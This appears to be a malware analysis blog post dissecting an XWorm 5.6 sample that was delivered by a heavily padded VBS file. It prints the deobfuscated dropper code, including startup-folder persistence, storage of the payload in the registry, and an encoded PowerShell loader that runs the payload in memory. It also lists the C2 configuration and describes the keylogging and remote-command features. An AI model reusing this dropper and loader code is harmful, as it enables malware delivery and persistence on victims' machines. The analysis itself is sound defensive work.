Every now and then you come across new malware variants and find something that attracts a little attention. A few days ago I acquired a VBS file, directed via a malspam campaign against an Italian organization, that was approximately 409 MB in size (sha256:ADF773B49D8306E08B5232039E0DEA143E2C015CDC731F1BE86D7DD92FCCA6A9).

After thinking I might find something like a NetFlix series or maybe the Middle-Earth map inside, I opened it with a HEX editor (and was rather disappointed because I only found an extreme padding):

So I cleaned the file to bring it to a smaller size of around 50KB (sha256:9E123E98616D1BF98F868759FE04A4817A12D69512EEE6946662102F3B1775EE). Here the original extracted code:

On Error Resume Next
'Dim suXjung
'suXjung = MsgBox ("", , "")
For x = 0 To 30
     WScript.Sleep(1000)
   Next

Aswu1rhgrlrl0="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[redated]..."
Aswu1rhgrlrl12288="AUWbh5Edz9GSrNWZoNEAlBXeUVWbh5Edz9GSpJXVAkmcVBQZtFmTlxWaG9FdldGAlxWdk9WTulWYN9FdldGAlxWdk9WTzNXZj9mcQBw...[redated]..."
Aswu1rhgrlrl24576="BkEAx5wvBEMBE6QsBkEB+5QmBkBAx5giBkLAF7QfBkEATEgNBkLBP4AbBELBqFgNAEkAREgNBEIBbNg+AEjAREgNAkIBV5ASAEDBQ5...[redated]..."
Aswu1rhgrlrl36864="KAAAMiiAHsC3KAAAZ92BGwyBK49CBAAA4RnCAAwxvZgCAAgxvBHAHMlcGoAAAU8bAAwJQAiBKAAAE/2FGoAAAM8baqAAAAzb36IBAA...[redated]..."
Ahf2op5r4m4c = Aswu1rhgrlrl0 + Aswu1rhgrlrl12288 + Aswu1rhgrlrl24576 + Aswu1rhgrlrl36864

Set obj = CreateObject("Wscript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")

 startPath = obj.SpecialFolders("Startup") & "\Payload.vbs"
 currentPath = fso.GetAbsolutePathName(wscript.scriptfullname)
Reg = "HKCU\SOFTWARE\Payload\Payload"

if obj.RegRead(Reg) <> Ahf2op5r4m4c then
obj.RegWrite Reg, Ahf2op5r4m4c
end if

PPSS = "Powershell -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAGEAeQBsAG8AYQBkAFwAKQAuAFAAYQB5AGwAbwBhAGQAKQA7ACAAJAB0AGUAeAB0ACAAPQAgAC0AagBvAGkAbgAgACQAdABlAHgAdABbAC0AMQAuAC4ALQAkAHQAZQB4AHQALgBMAGUAbgBnAHQAaABdADsAIABbAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAZQB4AHQAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABOAHUAbABsACwAJABOAHUAbABsACkAOwA="
PSPS = "Powershell -exec bypass -window 1 Copy-Item '" & currentPath & "' '" & startPath & "';"
obj.Run PSPS, 0, False
obj.Run PPSS, 0, False

It is not difficult to understand how it works in general; This VBScript (VBS) performs a sequence of actions aimed at achieving persistence and executing a malicious payload on a Windows system. After a delay loop, the script defines multiple variables (Aswu1rhgrlrl0, Aswu1rhgrlrl12288, etc.) containing extensive base64-encoded strings.

These strings represent encoded data for the final payload. Furthermore it interacts with the Windows registry using Wscript.Shell and Scripting.FileSystemObject objects and reads from and writes to a registry key (HKCU\SOFTWARE\Payload\Payload). This is used for storing the payload data.

After this, another piece of code is executed:

$text = ((Get-ItemProperty HKCU:\Software\Payload\).Payload); $text = -join $text[-1..-$text.Length]; [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);

This one retrieves a base64-encoded payload from a specific registry key (HKCU:\Software\Payload). It then reverses the order of characters in the decoded string and converts it back from base64 into a byte array. The script dynamically loads this byte array as an assembly into the current application domain using [AppDomain]::CurrentDomain.Load(...). Finally, it invokes the entry point of this dynamically loaded assembly, passing null arguments. The final chain looks like the following:

RETRIEVING THE PAYLOAD AND THE CONFIG

At this point I started to wrote few lines of PowerShell code to retrieve the original payload and to play a little with this XWorm variant:

$text = Get-Content -Path "[mypath]\Ahf2op5r4m4c.txt"
$text = $text.Trim()  
$text = -join $text[-1..-$text.Length]
$binaryPayload = [Convert]::FromBase64String($text)
$payloadPath = "[mypath]\Ahf2op5r4m4c.bin"
[System.IO.File]::WriteAllBytes($payloadPath, $binaryPayload)
Write-Output "File saved -> $payloadPath"

The extracted payload (sha256:E202C9745876E613AC216A2FF07859265EA1FAEF3FB03D32B727B7BD714DD35E) is .Net Worm variant (ver. 5.6) presenting Monday, Jun 03, 2024 (665E10CF) as TimeDateStamp. It has similarities with the variant analyzed on October 2023 by CERT-PL. I quickly moved under the AlgorithmAES class to have a look the Decrypt routine

This code snippet defines the AlgorithmAES class with a static method Decrypt designed to decrypt encrypted data using the AES (Advanced Encryption Standard) algorithm in ECB (Electronic Codebook) mode. The code begins by initializing a RijndaelManaged object to handle the AES algorithm and an MD5CryptoServiceProvider object to generate an MD5 hash. It then creates a 32-byte array for the AES key and populates it with the computed MD5 hash, splitting and copying it into the array. Next, it configures the rijndaelManaged object with the generated key and sets the encryption mode to ECB, which processes each data block independently. The code then converts the input from Base64 into a byte array and applies a cryptographic transformation to decrypt it using the previously created transformer. AlgorithmAES.Decrypt is called in the main() to retrieve configuration parameters such as C2 (hostname/port) and others..

According to this logic, i wrote another PowerShell script useful to quickly extract the malware’s configuration by directly specifying the name of the executable for which you want to extract the configuration. The executable is loaded by Reflection.

It’s available on my GitHub space.

Using this code I was able to retrieve the malware configuration reported below:

Hosts: liliana221990[.]duckdns[.]org
Port: 7000
KEY: <123456789>
SPL: <Xwormmm>
Groub: XWorm V5.6
USBNM: USB.exe

XWORM MAIN FEATURES

These features are referred to the analyzed version:

KEYLOGGING:

XWorm has keylogging functionality implemented in the XLogger class; This one begins by defining and setting up a low-level keyboard hook (SetHook) through the SetWindowsHookEx function. This hook allows the application to monitor keyboard events globally, irrespective of which window is currently active. The hook is initialized with a callback function (HookCallback), responsible for processing intercepted keyboard events. When a key press event (WM_KEYDOWN) is detected, identified by wParam == (IntPtr)256, the HookCallback method is triggered. This method retrieves the virtual key code (vkCode) from the event parameters and interprets it. The intercepted keystrokes, along with the title of the active window (GetActiveWindowTitle), are then logged to a specified file (Settings.LoggerPath). This contextual information provides additional context to logged keystrokes, making the monitoring data more useful.

RECONNAISSANCE AND BEACONING:

XWorm 5.6 has reconnaissance and C2 communication capabilities under the ClientSocket class. It includes various methods and properties related to establishing a connection, sending and receiving data, and managing the connection state. XWorm uses the Buffer field as a byte array that serves as the buffer for incoming data. In a similar way, the MS field is a MemoryStream object that is used to store the received data. The BeginConnect() method is responsible for initiating the connection to the server. It retrieves a random host from the Settings.Hosts list, resolves the host address, and attempts to connect to the server using the ConnectServer() method. If the connection is successful, the method breaks out of the loop and returns. If the connection fails, it logs the error and continues to the next host in the list. The ConnectServer() method creates a new Socket instance, sets up the buffer and stream properties, and connects to the specified host and port. It also sends the result of the Info() method to the server and starts the BeginReceive() and Ping() methods to handle incoming data and keep the connection alive, respectively. The Info() method collects various system details, such as the operating system, user name, and hardware information, and returns a string representation of this data. The Ping() method is responsible for sending literally a “PING!” message to the server at regular intervals, and the Pong() method is a timer callback that increments the Interval property when the connection is active and the ActivatePong flag is set.

C2 COMMUNICATIONS:

The Messages class is responsible for handling incoming messages from the server. It includes several methods for processing different types of messages. The Read() method is used to process incoming messages. It splits the message into parts based on the Settings.SPL separator and then checks the first part to determine the type of message. The SendMSG() method is used to send a message to the server. It encrypts the message using the AES_Decryptor() method and sends it over the socket connection. The SendError() method is used to send an error message to the server. It encrypts the message using the AES_Decryptor() method and sends it over the socket connection. The TD() method is used to handle the “TD” command. It creates a new HttpWebRequest object and sets the AllowAutoRedirect property to true. It then sets the Timeout property to 10 seconds and the Method property to “GET”. If the response is successful, it starts a new process with the URL.The Cam() method is used to handle the “Cam” command. It creates a new Process object and sets the StartInfo property to the path of the camera driver. It then starts the process. The RunDisk() method is used to run a disk-based plugin. It writes the plugin data to a temporary file and then runs the file using the Process class. The Memory() method is used to load and execute a memory-based plugin. It loads the plugin assembly and calls the EntryPoint method to execute the plugin. The Pack property is used to store the plugin data. The RS property is used to track the connection state. The Handle property is used to manage the socket connection. The Helper class is used to provide various utility methods, such as GetRandomString()AES_Decryptor()Compress(), and Decompress(), which are used to manage the encryption and compression of data. The Uninstaller class is used to provide methods for uninstalling and updating the application. The MyProject class is used to manage the application configuration. The Computer class is used to manage the system registry. The code includes several other methods and properties which are used to handle various system operations.

CONCLUSIONS

XWorm is a threat that can use various tactics to evade detection and persist on infected systems. It is distributed/sold through Darknet forums and is designed to be highly customizable, allowing adversaries to add new features and tasks. The malware employs persistence techniques such as process hollowing and mutexes to ensure it remains active on the system. Its capabilities include keylogging, data stealing, system reconnaissance, plugin loading and more. It could be found under the form of a highly obfuscated executable and use various evasion techniques to avoid detection. Usually XWorm uses a multi-staged attack, involving multiple payloads and scripts to deliver the final payload, further enhancing its stealthy nature.

IOC

IoC under my GitHub space.